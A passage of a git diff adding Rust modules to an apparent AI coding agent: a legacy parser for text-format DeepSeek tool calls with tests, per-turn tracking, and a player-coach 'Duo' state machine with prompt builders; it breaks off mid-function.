u64::from(usage.input_tokens); + self.output_tokens += u64::from(usage.output_tokens); + } + + /// Total tokens used + pub fn total(&self) -> u64 { + self.input_tokens + self.output_tokens + } +} + +impl Session { + /// Create a new session + pub fn new( + model: String, + workspace: PathBuf, + allow_shell: bool, + trust_mode: bool, + notes_path: PathBuf, + mcp_config_path: PathBuf, + ) -> Self { + // Load project context from AGENTS.md, CLAUDE.md, etc. + let project_context = load_project_context_with_parents(&workspace); + let has_context = project_context.has_instructions(); + + Self { + model, + workspace, + system_prompt: None, + messages: Vec::new(), + total_usage: SessionUsage::default(), + allow_shell, + trust_mode, + notes_path, + mcp_config_path, + id: uuid::Uuid::new_v4().to_string(), + project_context: if has_context { + Some(project_context) + } else { + None + }, + } + } + + /// Get project instructions as a system prompt block (if available) + pub fn get_project_instructions(&self) -> Option { + self.project_context + .as_ref() + .and_then(super::super::project_context::ProjectContext::as_system_block) + } + + /// Add a message to the conversation + pub fn add_message(&mut self, message: Message) { + self.messages.push(message); + } + + /// Clear the conversation history + pub fn clear(&mut self) { + self.messages.clear(); + } + + /// Get the message count + pub fn message_count(&self) -> usize { + self.messages.len() + } +} diff --git a/src/core/tool_parser.rs b/src/core/tool_parser.rs new file mode 100644 index 00000000..87be2b34 --- /dev/null +++ b/src/core/tool_parser.rs @@ -0,0 +1,574 @@ +//! Legacy parser for text-based tool calls from DeepSeek models. +//! +//! Structured tool-call items are preferred, so the engine no longer invokes +//! this parser. It is kept for reference/debugging. +//! +//! Some DeepSeek outputs tool calls as text in various formats: +//! ```text +//! [TOOL_CALL] +//! {tool => "tool_name", args => {...}} +//! [/TOOL_CALL] +//! ``` +//! +//! Or XML-style format: +//! ```text +//! +//! +//! value +//! +//! +//! ``` +//! +//! This module parses these text patterns into structured tool calls. + +use regex::Regex; +use serde_json::{Value, json}; +use std::sync::OnceLock; + +/// A parsed tool call from text content. +#[derive(Debug, Clone)] +pub struct ParsedToolCall { + /// Tool name + pub name: String, + /// Tool arguments as JSON + pub args: Value, + /// Generated ID for the tool call + pub id: String, +} + +/// Result of parsing text for tool calls. +#[derive(Debug)] +pub struct ParseResult { + /// The text with tool call markers removed (for display) + pub clean_text: String, + /// Parsed tool calls found in the text + pub tool_calls: Vec, +} + +static TOOL_CALL_REGEX: OnceLock = OnceLock::new(); +static XML_TOOL_CALL_REGEX: OnceLock = OnceLock::new(); +static INVOKE_REGEX: OnceLock = OnceLock::new(); +static THINKING_REGEX: OnceLock = OnceLock::new(); + +fn get_tool_call_regex() -> &'static Regex { + TOOL_CALL_REGEX.get_or_init(|| { + // Match [TOOL_CALL] ... [/TOOL_CALL] blocks + Regex::new(r"(?s)\[TOOL_CALL\]\s*(.*?)\s*\[/TOOL_CALL\]").unwrap() + }) +} + +fn get_xml_tool_call_regex() -> &'static Regex { + XML_TOOL_CALL_REGEX.get_or_init(|| { + // Match ... or similar XML patterns + Regex::new(r"(?s)<(?:deepseek:)?tool_call[^>]*>\s*(.*?)\s*") + .unwrap() + }) +} + +fn get_invoke_regex() -> &'static Regex { + INVOKE_REGEX.get_or_init(|| { + // Match ... patterns + Regex::new(r#"(?s)]*>(.*?)"#).unwrap() + }) +} + +fn get_thinking_regex() -> &'static Regex { + THINKING_REGEX.get_or_init(|| { + // Match thinking blocks including partial closing tags + Regex::new(r"(?s)]*>").unwrap() + }) +} + +/// Parse tool calls from text content. +/// Returns the clean text (with markers removed) and any parsed tool calls. +pub fn parse_tool_calls(text: &str) -> ParseResult { + let mut tool_calls = Vec::new(); + let mut clean_text = text.to_string(); + let mut id_counter = 0; + + // First, remove thinking tags + let thinking_regex = get_thinking_regex(); + clean_text = thinking_regex.replace_all(&clean_text, "").to_string(); + + // Parse [TOOL_CALL] format + let regex = get_tool_call_regex(); + for cap in regex.captures_iter(text) { + let (Some(full_match), Some(inner)) = (cap.get(0), cap.get(1)) else { + continue; + }; + let full_match = full_match.as_str(); + let inner = inner.as_str().trim(); + + if let Some(parsed) = parse_tool_call_inner(inner, &mut id_counter) { + tool_calls.push(parsed); + } + + clean_text = clean_text.replace(full_match, ""); + } + + // Parse XML-style or format + let xml_regex = get_xml_tool_call_regex(); + for cap in xml_regex.captures_iter(text) { + let (Some(full_match), Some(inner)) = (cap.get(0), cap.get(1)) else { + continue; + }; + let full_match = full_match.as_str(); + let inner = inner.as_str().trim(); + + // Parse invoke blocks inside + if let Some(parsed) = parse_invoke_block(inner, &mut id_counter) { + tool_calls.push(parsed); + } else if let Some(parsed) = parse_tool_call_inner(inner, &mut id_counter) { + tool_calls.push(parsed); + } + + clean_text = clean_text.replace(full_match, ""); + } + + // Also parse standalone blocks that might not be wrapped + let invoke_regex = get_invoke_regex(); + for cap in invoke_regex.captures_iter(&clean_text.clone()) { + let (Some(full_match), Some(tool_name), Some(inner)) = (cap.get(0), cap.get(1), cap.get(2)) + else { + continue; + }; + let full_match = full_match.as_str(); + let tool_name = tool_name.as_str(); + let inner = inner.as_str(); + + let args = parse_xml_parameters(inner); + id_counter += 1; + tool_calls.push(ParsedToolCall { + name: tool_name.to_string(), + args, + id: format!("xml_tool_{id_counter}"), + }); + + clean_text = clean_text.replace(full_match, ""); + } + + // Clean up extra whitespace and empty lines + clean_text = clean_text + .lines() + .filter(|line| !line.trim().is_empty()) + .collect::>() + .join("\n") + .trim() + .to_string(); + + ParseResult { + clean_text, + tool_calls, + } +} + +/// Parse an `` block into a tool call. +fn parse_invoke_block(content: &str, id_counter: &mut u32) -> Option { + let invoke_regex = get_invoke_regex(); + let cap = invoke_regex.captures(content)?; + + let tool_name = cap.get(1)?.as_str(); + let inner = cap.get(2)?.as_str(); + + let args = parse_xml_parameters(inner); + + *id_counter += 1; + Some(ParsedToolCall { + name: tool_name.to_string(), + args, + id: format!("xml_tool_{id_counter}"), + }) +} + +/// Parse XML-style parameters like value +fn parse_xml_parameters(content: &str) -> Value { + let param_regex = Regex::new( + "<(?:parameter|param)\\s+name\\s*=\\s*\"([^\"]+)\"[^>]*>(.*?)", + ) + .ok(); + let simple_tag_regex = + Regex::new("<([a-zA-Z_][a-zA-Z0-9_]*)>(.*?)").ok(); + + let mut map = serde_json::Map::new(); + + // Try parsing value + if let Some(regex) = param_regex { + for cap in regex.captures_iter(content) { + if let (Some(name), Some(value)) = (cap.get(1), cap.get(2)) { + let name_str = name.as_str(); + let value_str = value.as_str().trim(); + + // Try to parse as JSON, otherwise use as string + let json_value = serde_json::from_str(value_str) + .unwrap_or_else(|_| Value::String(value_str.to_string())); + map.insert(name_str.to_string(), json_value); + } + } + } + + // Also try parsing value format + if let Some(regex) = simple_tag_regex { + for cap in regex.captures_iter(content) { + if let (Some(name), Some(value), Some(close)) = (cap.get(1), cap.get(2), cap.get(3)) { + if name.as_str() != close.as_str() { + continue; + } + let name_str = name.as_str(); + // Skip known wrapper tags + if ["invoke", "tool_call", "parameter", "param"].contains(&name_str) { + continue; + } + let value_str = value.as_str().trim(); + if !map.contains_key(name_str) { + let json_value = serde_json::from_str(value_str) + .unwrap_or_else(|_| Value::String(value_str.to_string())); + map.insert(name_str.to_string(), json_value); + } + } + } + } + + Value::Object(map) +} + +/// Parse the inner content of a `TOOL_CALL` block. +fn parse_tool_call_inner(inner: &str, id_counter: &mut u32) -> Option { + // Try to parse as JSON first + if let Ok(json) = serde_json::from_str::(inner) { + return parse_from_json(&json, id_counter); + } + + // Try the arrow syntax: {tool => "name", args => {...}} + if let Some(parsed) = parse_arrow_syntax(inner, id_counter) { + return Some(parsed); + } + + // Try to extract tool name and args from any format + parse_flexible_format(inner, id_counter) +} + +/// Parse from JSON object. +fn parse_from_json(json: &Value, id_counter: &mut u32) -> Option { + let obj = json.as_object()?; + + // Try different field names for the tool name + let name = obj + .get("tool") + .or_else(|| obj.get("name")) + .or_else(|| obj.get("function")) + .and_then(|v| v.as_str())? + .to_string(); + + // Try different field names for the arguments + let args = obj + .get("args") + .or_else(|| obj.get("arguments")) + .or_else(|| obj.get("input")) + .or_else(|| obj.get("parameters")) + .cloned() + .unwrap_or(json!({})); + + *id_counter += 1; + Some(ParsedToolCall { + name, + args, + id: format!("text_tool_{id_counter}"), + }) +} + +/// Parse the arrow syntax: {tool => "name", args => {...}} +fn parse_arrow_syntax(inner: &str, id_counter: &mut u32) -> Option { + // Extract tool name + let tool_regex = Regex::new(r#"tool\s*=>\s*"([^"]+)""#).ok()?; + let name = tool_regex.captures(inner)?.get(1)?.as_str().to_string(); + + // Extract args - try to find the JSON object after "args =>" + let args = if let Some(args_start) = inner.find("args =>") { + let args_str = inner[args_start + 7..].trim(); + // Try to parse as JSON first + if let Ok(args_json) = serde_json::from_str::(args_str) { + args_json + } else if let Some(brace_start) = args_str.find('{') { + // Try to extract the content between braces + let mut brace_count = 0; + let mut end_idx = brace_start; + for (i, c) in args_str[brace_start..].chars().enumerate() { + match c { + '{' => brace_count += 1, + '}' => { + brace_count -= 1; + if brace_count == 0 { + end_idx = brace_start + i + 1; + break; + } + } + _ => {} + } + } + let content = &args_str[brace_start + 1..end_idx - 1]; + + // Try to parse as JSON + if let Ok(json) = serde_json::from_str::(&format!("{{{content}}}")) { + json + } else { + // Try CLI-style args: --arg_name "value" or --arg_name value + parse_cli_style_args(content) + } + } else { + json!({}) + } + } else { + json!({}) + }; + + *id_counter += 1; + Some(ParsedToolCall { + name, + args, + id: format!("text_tool_{id_counter}"), + }) +} + +/// Parse CLI-style arguments: --`arg_name` "value" or --`arg_name` value +fn parse_cli_style_args(content: &str) -> Value { + let mut map = serde_json::Map::new(); + + // Pattern: --arg_name "value" or --arg_name 'value' or --arg_name value + let arg_regex = + Regex::new(r#"--([a-zA-Z_][a-zA-Z0-9_]*)\s+(?:"([^"]*)"|'([^']*)'|(\S+))"#).ok(); + + if let Some(regex) = arg_regex { + for cap in regex.captures_iter(content) { + if let Some(arg_name) = cap.get(1) { + let arg_name = arg_name.as_str(); + // Get the value from whichever capture group matched + let value = cap + .get(2) + .or_else(|| cap.get(3)) + .or_else(|| cap.get(4)) + .map_or("", |m| m.as_str()); + + // Try to parse as JSON value, otherwise use as string + let json_value = serde_json::from_str(value) + .unwrap_or_else(|_| Value::String(value.to_string())); + map.insert(arg_name.to_string(), json_value); + } + } + } + + // Also try simple key=value format + let kv_regex = + Regex::new(r#"([a-zA-Z_][a-zA-Z0-9_]*)\s*[:=]\s*(?:"([^"]*)"|'([^']*)'|(\S+))"#).ok(); + if let Some(regex) = kv_regex { + for cap in regex.captures_iter(content) { + if let Some(key) = cap.get(1) { + let key = key.as_str(); + if !map.contains_key(key) { + let value = cap + .get(2) + .or_else(|| cap.get(3)) + .or_else(|| cap.get(4)) + .map_or("", |m| m.as_str()); + let json_value = serde_json::from_str(value) + .unwrap_or_else(|_| Value::String(value.to_string())); + map.insert(key.to_string(), json_value); + } + } + } + } + + Value::Object(map) +} + +/// Try to parse a flexible format. +fn parse_flexible_format(inner: &str, id_counter: &mut u32) -> Option { + // Look for common patterns like: + // tool: list_dir + // name: "list_dir" + // function: list_dir + + let patterns = [( + r#"(?:tool|name|function)\s*[:=]\s*"?([a-zA-Z_][a-zA-Z0-9_]*)"?"#, + 1, + )]; + + for (pattern, group) in patterns { + if let Ok(regex) = Regex::new(pattern) + && let Some(cap) = regex.captures(inner) + && let Some(name_match) = cap.get(group) + { + let name = name_match.as_str().to_string(); + + // Try to extract args/input as JSON + let args = extract_json_object(inner).unwrap_or(json!({})); + + *id_counter += 1; + return Some(ParsedToolCall { + name, + args, + id: format!("text_tool_{id_counter}"), + }); + } + } + + None +} + +/// Extract the first JSON object from a string. +fn extract_json_object(text: &str) -> Option { + let start = text.find('{')?; + let mut brace_count = 0; + let mut end_idx = start; + + for (i, c) in text[start..].chars().enumerate() { + match c { + '{' => brace_count += 1, + '}' => { + brace_count -= 1; + if brace_count == 0 { + end_idx = start + i + 1; + break; + } + } + _ => {} + } + } + + let json_str = &text[start..end_idx]; + serde_json::from_str(json_str).ok() +} + +/// Check if text contains tool call markers (either format). +pub fn has_tool_call_markers(text: &str) -> bool { + text.contains("[TOOL_CALL]") + || text.contains(" String { + let mut result = text.to_string(); + + // Remove thinking tags + let thinking_regex = get_thinking_regex(); + result = thinking_regex.replace_all(&result, "").to_string(); + + // Remove [TOOL_CALL] blocks entirely + let tool_call_regex = get_tool_call_regex(); + result = tool_call_regex.replace_all(&result, "").to_string(); + + // Remove XML-style partial markers that might appear during streaming + let patterns_to_remove = [ + r"\[TOOL_CALL\]", + r"\[/TOOL_CALL\]", + r"]*>", + r"]*>", + r"]*>", + r"", + r"]*>", + r"]*>", + r"", + r"]*>", + r"", + // Also remove the tool call content patterns + r"\{tool\s*=>\s*[^}]+\}", + ]; + + for pattern in patterns_to_remove { + if let Ok(regex) = Regex::new(pattern) { + result = regex.replace_all(&result, "").to_string(); + } + } + + // Clean up extra whitespace and empty lines + result = result + .lines() + .filter(|line| !line.trim().is_empty()) + .collect::>() + .join("\n"); + + result.trim().to_string() +} + +/// Check if a streaming chunk contains the start of a tool call marker. +/// This is used to suppress streaming output when we detect the start of a tool block. +pub fn is_tool_call_start(text: &str) -> bool { + text.contains("[TOOL_CALL]") + || text.contains("") + || text.contains("") +} + +/// Check if a streaming chunk contains the end of a tool call marker. +pub fn is_tool_call_end(text: &str) -> bool { + text.contains("[/TOOL_CALL]") + || text.contains("") + || text.contains("") + || text.contains("") + || text.contains("") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_arrow_syntax() { + let text = r#"I'll list the directory. +[TOOL_CALL] +{tool => "list_dir", args => {}} +[/TOOL_CALL]"#; + + let result = parse_tool_calls(text); + assert_eq!(result.tool_calls.len(), 1); + assert_eq!(result.tool_calls[0].name, "list_dir"); + assert_eq!(result.clean_text, "I'll list the directory."); + } + + #[test] + fn test_parse_json_syntax() { + let text = r#"Let me check. +[TOOL_CALL] +{"tool": "read_file", "args": {"path": "test.txt"}} +[/TOOL_CALL]"#; + + let result = parse_tool_calls(text); + assert_eq!(result.tool_calls.len(), 1); + assert_eq!(result.tool_calls[0].name, "read_file"); + assert_eq!(result.tool_calls[0].args["path"], "test.txt"); + } + + #[test] + fn test_parse_multiple_tool_calls() { + let text = r#"First I'll list, then read. +[TOOL_CALL] +{tool => "list_dir", args => {}} +[/TOOL_CALL] +[TOOL_CALL] +{tool => "read_file", args => {"path": "file.txt"}} +[/TOOL_CALL]"#; + + let result = parse_tool_calls(text); + assert_eq!(result.tool_calls.len(), 2); + assert_eq!(result.tool_calls[0].name, "list_dir"); + assert_eq!(result.tool_calls[1].name, "read_file"); + } + + #[test] + fn test_no_tool_calls() { + let text = "Just some regular text without any tool calls."; + let result = parse_tool_calls(text); + assert!(result.tool_calls.is_empty()); + assert_eq!(result.clean_text, text); + } + + #[test] + fn test_has_markers() { + assert!(has_tool_call_markers("[TOOL_CALL]test[/TOOL_CALL]")); + assert!(!has_tool_call_markers("no markers here")); + } +} diff --git a/src/core/turn.rs b/src/core/turn.rs new file mode 100644 index 00000000..cbf5a1a7 --- /dev/null +++ b/src/core/turn.rs @@ -0,0 +1,119 @@ +//! Turn context and tracking. +//! +//! A "turn" is one user message and the resulting AI response, +//! including any tool calls that occur. + +use crate::models::Usage; +use std::time::{Duration, Instant}; + +/// Context for a single turn (user message + AI response). +#[derive(Debug)] +pub struct TurnContext { + /// Turn ID + pub id: String, + + /// When the turn started + pub started_at: Instant, + + /// Current step in the turn (tool call iteration) + pub step: u32, + + /// Maximum steps allowed + pub max_steps: u32, + + /// Tool calls made in this turn + pub tool_calls: Vec, + + /// Whether the turn has been cancelled + pub cancelled: bool, + + /// Usage for this turn + pub usage: Usage, +} + +/// Record of a tool call within a turn. +#[derive(Debug, Clone)] +pub struct TurnToolCall { + pub id: String, + pub name: String, + pub input: serde_json::Value, + pub result: Option, + pub error: Option, + pub duration: Option, +} + +impl TurnContext { + /// Create a new turn context + pub fn new(max_steps: u32) -> Self { + Self { + id: uuid::Uuid::new_v4().to_string(), + started_at: Instant::now(), + step: 0, + max_steps, + tool_calls: Vec::new(), + cancelled: false, + usage: Usage { + input_tokens: 0, + output_tokens: 0, + }, + } + } + + /// Increment the step counter + pub fn next_step(&mut self) -> bool { + self.step += 1; + self.step <= self.max_steps + } + + /// Check if the turn has reached max steps + pub fn at_max_steps(&self) -> bool { + self.step >= self.max_steps + } + + /// Record a tool call + pub fn record_tool_call(&mut self, call: TurnToolCall) { + self.tool_calls.push(call); + } + + /// Cancel the turn + pub fn cancel(&mut self) { + self.cancelled = true; + } + + /// Get the elapsed time + pub fn elapsed(&self) -> Duration { + self.started_at.elapsed() + } + + /// Add usage from an API response + pub fn add_usage(&mut self, usage: &Usage) { + self.usage.input_tokens += usage.input_tokens; + self.usage.output_tokens += usage.output_tokens; + } +} + +impl TurnToolCall { + /// Create a new tool call record + pub fn new(id: String, name: String, input: serde_json::Value) -> Self { + Self { + id, + name, + input, + result: None, + error: None, + duration: None, + } + } + + /// Set the result + pub fn set_result(&mut self, result: String, duration: Duration) { + self.result = Some(result); + self.duration = Some(duration); + } + + /// Set an error + pub fn set_error(&mut self, error: String, duration: Duration) { + self.error = Some(error); + self.duration = Some(duration); + } +} diff --git a/src/duo.rs b/src/duo.rs new file mode 100644 index 00000000..8d7e178e --- /dev/null +++ b/src/duo.rs @@ -0,0 +1,802 @@ +//! Duo mode state machine for hegelion's autocoding (player-coach adversarial cooperation). +//! +//! Implements the g3 paper's coach-player paradigm where: +//! - Player: implements requirements (builder role) +//! - Coach: validates implementation against requirements (critic role) +//! +//! The loop continues until the coach approves or max turns are reached. + +use std::collections::HashMap; +use std::sync::{Arc, Mutex}; + +use serde::{Deserialize, Serialize}; +use uuid::Uuid; + +// === Phase & Status Enums === + +/// The current phase in the autocoding loop. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub enum DuoPhase { + /// Session initialized, ready to start player phase + Init, + /// Player is implementing requirements + Player, + /// Coach is validating the implementation + Coach, + /// Coach approved the implementation + Approved, + /// Maximum turns reached without approval + Timeout, +} + +impl std::fmt::Display for DuoPhase { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + DuoPhase::Init => write!(f, "init"), + DuoPhase::Player => write!(f, "player"), + DuoPhase::Coach => write!(f, "coach"), + DuoPhase::Approved => write!(f, "approved"), + DuoPhase::Timeout => write!(f, "timeout"), + } + } +} + +/// The overall status of the autocoding session. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub enum DuoStatus { + /// Session is actively running + Active, + /// Coach has approved the implementation + Approved, + /// Coach has rejected (used for explicit rejection, not just iteration) + Rejected, + /// Maximum turns exhausted without approval + Timeout, +} + +impl std::fmt::Display for DuoStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + DuoStatus::Active => write!(f, "active"), + DuoStatus::Approved => write!(f, "approved"), + DuoStatus::Rejected => write!(f, "rejected"), + DuoStatus::Timeout => write!(f, "timeout"), + } + } +} + +// === Turn History === + +/// Record of a single turn in the autocoding loop. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TurnRecord { + /// Turn number (1-indexed) + pub turn: u32, + /// The phase this record is for + pub phase: DuoPhase, + /// Summary of what happened (player implementation or coach feedback) + pub summary: String, + /// Quality score from coach (0.0 to 1.0), if applicable + pub quality_score: Option, + /// Timestamp when this turn was recorded + #[serde(default = "chrono::Utc::now")] + pub timestamp: chrono::DateTime, +} + +impl TurnRecord { + /// Create a new turn record. + #[must_use] + pub fn new(turn: u32, phase: DuoPhase, summary: String, quality_score: Option) -> Self { + Self { + turn, + phase, + summary, + quality_score, + timestamp: chrono::Utc::now(), + } + } +} + +// === Main State === + +/// The complete state of a Duo autocoding session. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DuoState { + /// Unique session identifier + pub session_id: String, + /// Optional human-readable session name + pub session_name: Option, + /// The requirements document (source of truth for validation) + pub requirements: String, + /// Current turn number (1-indexed) + pub current_turn: u32, + /// Maximum allowed turns before timeout + pub max_turns: u32, + /// Current phase in the autocoding loop + pub phase: DuoPhase, + /// Overall session status + pub status: DuoStatus, + /// History of all turns + pub turn_history: Vec, + /// Last feedback from the coach (used in next player prompt) + pub last_coach_feedback: Option, + /// Quality scores from each coach review + pub quality_scores: Vec, + /// Threshold score needed for approval (0.0 to 1.0) + pub approval_threshold: f64, + /// Timestamp when session was created + #[serde(default = "chrono::Utc::now")] + pub created_at: chrono::DateTime, + /// Timestamp of last update + #[serde(default = "chrono::Utc::now")] + pub updated_at: chrono::DateTime, +} + +impl DuoState { + /// Create a new Duo session with the given requirements. + /// + /// # Arguments + /// * `requirements` - The requirements document (source of truth) + /// * `session_name` - Optional human-readable name + /// * `max_turns` - Maximum turns before timeout (default: 10) + /// * `approval_threshold` - Score needed for approval (default: 0.9) + #[must_use] + pub fn create( + requirements: String, + session_name: Option, + max_turns: Option, + approval_threshold: Option, + ) -> Self { + let now = chrono::Utc::now(); + Self { + session_id: Uuid::new_v4().to_string(), + session_name, + requirements, + current_turn: 1, + max_turns: max_turns.unwrap_or(10), + phase: DuoPhase::Init, + status: DuoStatus::Active, + turn_history: Vec::new(), + last_coach_feedback: None, + quality_scores: Vec::new(), + approval_threshold: approval_threshold.unwrap_or(0.9), + created_at: now, + updated_at: now, + } + } + + /// Transition from Init or Player phase to Coach phase. + /// + /// Records the player's implementation summary in turn history. + /// + /// # Arguments + /// * `player_summary` - Summary of what the player implemented + /// + /// # Returns + /// `Ok(())` on success, `Err` if not in a valid phase for this transition + pub fn advance_to_coach(&mut self, player_summary: String) -> Result<(), DuoError> { + match self.phase { + DuoPhase::Init | DuoPhase::Player => { + // Record player turn + let record = + TurnRecord::new(self.current_turn, DuoPhase::Player, player_summary, None); + self.turn_history.push(record); + self.phase = DuoPhase::Coach; + self.updated_at = chrono::Utc::now(); + Ok(()) + } + _ => Err(DuoError::InvalidPhaseTransition { + from: self.phase, + to: DuoPhase::Coach, + }), + } + } + + /// Process coach feedback and determine the next phase. + /// + /// # Arguments + /// * `coach_feedback` - The coach's feedback text + /// * `approved` - Whether the coach approved the implementation + /// * `compliance_score` - Optional compliance score (0.0 to 1.0) + /// + /// # Returns + /// `Ok(())` on success, `Err` if not in coach phase + pub fn advance_turn( + &mut self, + coach_feedback: String, + approved: bool, + compliance_score: Option, + ) -> Result<(), DuoError> { + if self.phase != DuoPhase::Coach { + return Err(DuoError::InvalidPhaseTransition { + from: self.phase, + to: DuoPhase::Player, + }); + } + + // Record coach turn + let record = TurnRecord::new( + self.current_turn, + DuoPhase::Coach, + coach_feedback.clone(), + compliance_score, + ); + self.turn_history.push(record); + + // Track quality score if provided + if let Some(score) = compliance_score { + self.quality_scores.push(score); + } + + self.last_coach_feedback = Some(coach_feedback); + self.updated_at = chrono::Utc::now(); + + if approved { + // Coach approved - session complete + self.phase = DuoPhase::Approved; + self.status = DuoStatus::Approved; + } else if self.current_turn >= self.max_turns { + // Max turns reached - timeout + self.phase = DuoPhase::Timeout; + self.status = DuoStatus::Timeout; + } else { + // Continue to next turn + self.current_turn += 1; + self.phase = DuoPhase::Player; + } + + Ok(()) + } + + /// Check if the session is complete (approved or timed out). + #[must_use] + pub fn is_complete(&self) -> bool { + matches!( + self.status, + DuoStatus::Approved | DuoStatus::Rejected | DuoStatus::Timeout + ) + } + + /// Get the number of turns remaining before timeout. + #[must_use] + pub fn turns_remaining(&self) -> u32 { + self.max_turns.saturating_sub(self.current_turn) + } + + /// Get the average quality score across all coach reviews. + #[must_use] + pub fn average_quality_score(&self) -> Option { + if self.quality_scores.is_empty() { + None + } else { + let sum: f64 = self.quality_scores.iter().sum(); + Some(sum / self.quality_scores.len() as f64) + } + } + + /// Generate a human-readable summary of the session state. + #[must_use] + pub fn summary(&self) -> String { + let name = self + .session_name + .as_deref() + .unwrap_or(&self.session_id[..8]); + + let avg_score = self + .average_quality_score() + .map(|s| format!("{:.1}%", s * 100.0)) + .unwrap_or_else(|| "N/A".to_string()); + + let status_icon = match self.status { + DuoStatus::Active => "🔄", + DuoStatus::Approved => "✅", + DuoStatus::Rejected => "❌", + DuoStatus::Timeout => "⏰", + }; + + format!( + "{status_icon} Duo Session: {name}\n\ + Phase: {} | Turn: {}/{} | Status: {}\n\ + Avg Quality: {} | Threshold: {:.0}%\n\ + History: {} records", + self.phase, + self.current_turn, + self.max_turns, + self.status, + avg_score, + self.approval_threshold * 100.0, + self.turn_history.len() + ) + } +} + +// === Error Types === + +/// Errors that can occur during Duo session operations. +#[derive(Debug, Clone)] +pub enum DuoError { + /// Invalid phase transition attempted + InvalidPhaseTransition { from: DuoPhase, to: DuoPhase }, + /// Session not found (reserved for future multi-session management) + #[allow(dead_code)] + SessionNotFound { session_id: String }, + /// Session already complete (reserved for future session validation) + #[allow(dead_code)] + SessionAlreadyComplete { session_id: String }, +} + +impl std::fmt::Display for DuoError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + DuoError::InvalidPhaseTransition { from, to } => { + write!(f, "Invalid phase transition from {} to {}", from, to) + } + DuoError::SessionNotFound { session_id } => { + write!(f, "Session not found: {}", session_id) + } + DuoError::SessionAlreadyComplete { session_id } => { + write!(f, "Session already complete: {}", session_id) + } + } + } +} + +impl std::error::Error for DuoError {} + +// === Session Container === + +/// Container for managing multiple Duo sessions. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct DuoSession { + /// The currently active session state + pub active_state: Option, + /// Saved/completed session states indexed by session_id + pub saved_states: HashMap, +} + +impl DuoSession { + /// Create a new empty session container. + #[must_use] + pub fn new() -> Self { + Self { + active_state: None, + saved_states: HashMap::new(), + } + } + + /// Start a new Duo session. + pub fn start_session( + &mut self, + requirements: String, + session_name: Option, + max_turns: Option, + approval_threshold: Option, + ) -> &DuoState { + // Save any existing active session + if let Some(state) = self.active_state.take() { + self.saved_states.insert(state.session_id.clone(), state); + } + + // Create new session + let state = DuoState::create(requirements, session_name, max_turns, approval_threshold); + self.active_state = Some(state); + self.active_state.as_ref().expect("just set active_state") + } + + /// Get the active session state. + #[must_use] + pub fn get_active(&self) -> Option<&DuoState> { + self.active_state.as_ref() + } + + /// Get a mutable reference to the active session state. + pub fn get_active_mut(&mut self) -> Option<&mut DuoState> { + self.active_state.as_mut() + } + + /// Get a saved session by ID (reserved for future multi-session management). + #[must_use] + #[allow(dead_code)] + pub fn get_saved(&self, session_id: &str) -> Option<&DuoState> { + self.saved_states.get(session_id) + } + + /// Save the current active session and clear it (reserved for future session management). + #[allow(dead_code)] + pub fn save_active(&mut self) -> Option { + if let Some(state) = self.active_state.take() { + let id = state.session_id.clone(); + self.saved_states.insert(id.clone(), state); + Some(id) + } else { + None + } + } + + /// Restore a saved session as the active session (reserved for future session management). + #[allow(dead_code)] + pub fn restore_session(&mut self, session_id: &str) -> Result<(), DuoError> { + let state = + self.saved_states + .remove(session_id) + .ok_or_else(|| DuoError::SessionNotFound { + session_id: session_id.to_string(), + })?; + + // Save current active if any + if let Some(current) = self.active_state.take() { + self.saved_states + .insert(current.session_id.clone(), current); + } + + self.active_state = Some(state); + Ok(()) + } + + /// List all session IDs (active and saved, reserved for future session management). + #[must_use] + #[allow(dead_code)] + pub fn list_sessions(&self) -> Vec<&str> { + let mut ids: Vec<&str> = self.saved_states.keys().map(String::as_str).collect(); + if let Some(ref active) = self.active_state { + ids.push(&active.session_id); + } + ids.sort(); + ids + } +} + +/// Thread-safe shared Duo session. +pub type SharedDuoSession = Arc>; + +/// Create a new shared Duo session. +#[must_use] +pub fn new_shared_duo_session() -> SharedDuoSession { + Arc::new(Mutex::new(DuoSession::new())) +} + +// === Prompt Generation === + +/// Generate the player (implementation) prompt for the current state. +/// +/// The player focuses on implementing requirements and should NOT declare success. +#[must_use] +pub fn generate_player_prompt(state: &DuoState) -> String { + let mut prompt = String::new(); + + prompt.push_str("# Player Phase - Implementation\n\n"); + prompt.push_str("You are the PLAYER in an autocoding session. Your role is to IMPLEMENT the requirements.\n\n"); + + prompt.push_str("## Requirements (Source of Truth)\n\n"); + prompt.push_str(&state.requirements); + prompt.push_str("\n\n"); + + prompt.push_str(&format!( + "## Session Info\n\n\ + - Turn: {}/{}\n\ + - Approval Threshold: {:.0}%\n", + state.current_turn, + state.max_turns, + state.approval_threshold * 100.0 + )); + + if let Some(ref feedback) = state.last_coach_feedback { + prompt.push_str("\n## Previous Coach Feedback\n\n"); + prompt.push_str("Address these issues from the last review:\n\n"); + prompt.push_str(feedback); + prompt.push('\n'); + } + + prompt.push_str("\n## Instructions\n\n"); + prompt.push_str( + "1. Implement the requirements above using available tools\n\ + 2. Focus on making incremental progress\n\ + 3. DO NOT declare success or claim completion\n\ + 4. DO NOT evaluate your own work\n\ + 5. The Coach will verify your implementation\n\n\ + Begin implementation now.\n", + ); + + prompt +} + +/// Generate the coach (validation) prompt for the current state. +/// +/// The coach verifies the implementation against requirements and ignores player self-assessment. +#[must_use] +pub fn generate_coach_prompt(state: &DuoState) -> String { + let mut prompt = String::new(); + + prompt.push_str("# Coach Phase - Validation\n\n"); + prompt.push_str("You are the COACH in an autocoding session. Your role is to VERIFY the implementation.\n\n"); + + prompt.push_str("## Requirements (Source of Truth)\n\n"); + prompt.push_str(&state.requirements); + prompt.push_str("\n\n"); + + prompt.push_str(&format!( + "## Session Info\n\n\ + - Turn: {}/{}\n\ + - Approval Threshold: {:.0}%\n\ + - Turns Remaining: {}\n", + state.current_turn, + state.max_turns, + state.approval_threshold * 100.0, + state.turns_remaining() + )); + + if !state.quality_scores.is_empty() { + let avg = state.average_quality_score().unwrap_or(0.0); + prompt.push_str(&format!("- Average Quality: {:.1}%\n", avg * 100.0)); + } + + prompt.push_str("\n## 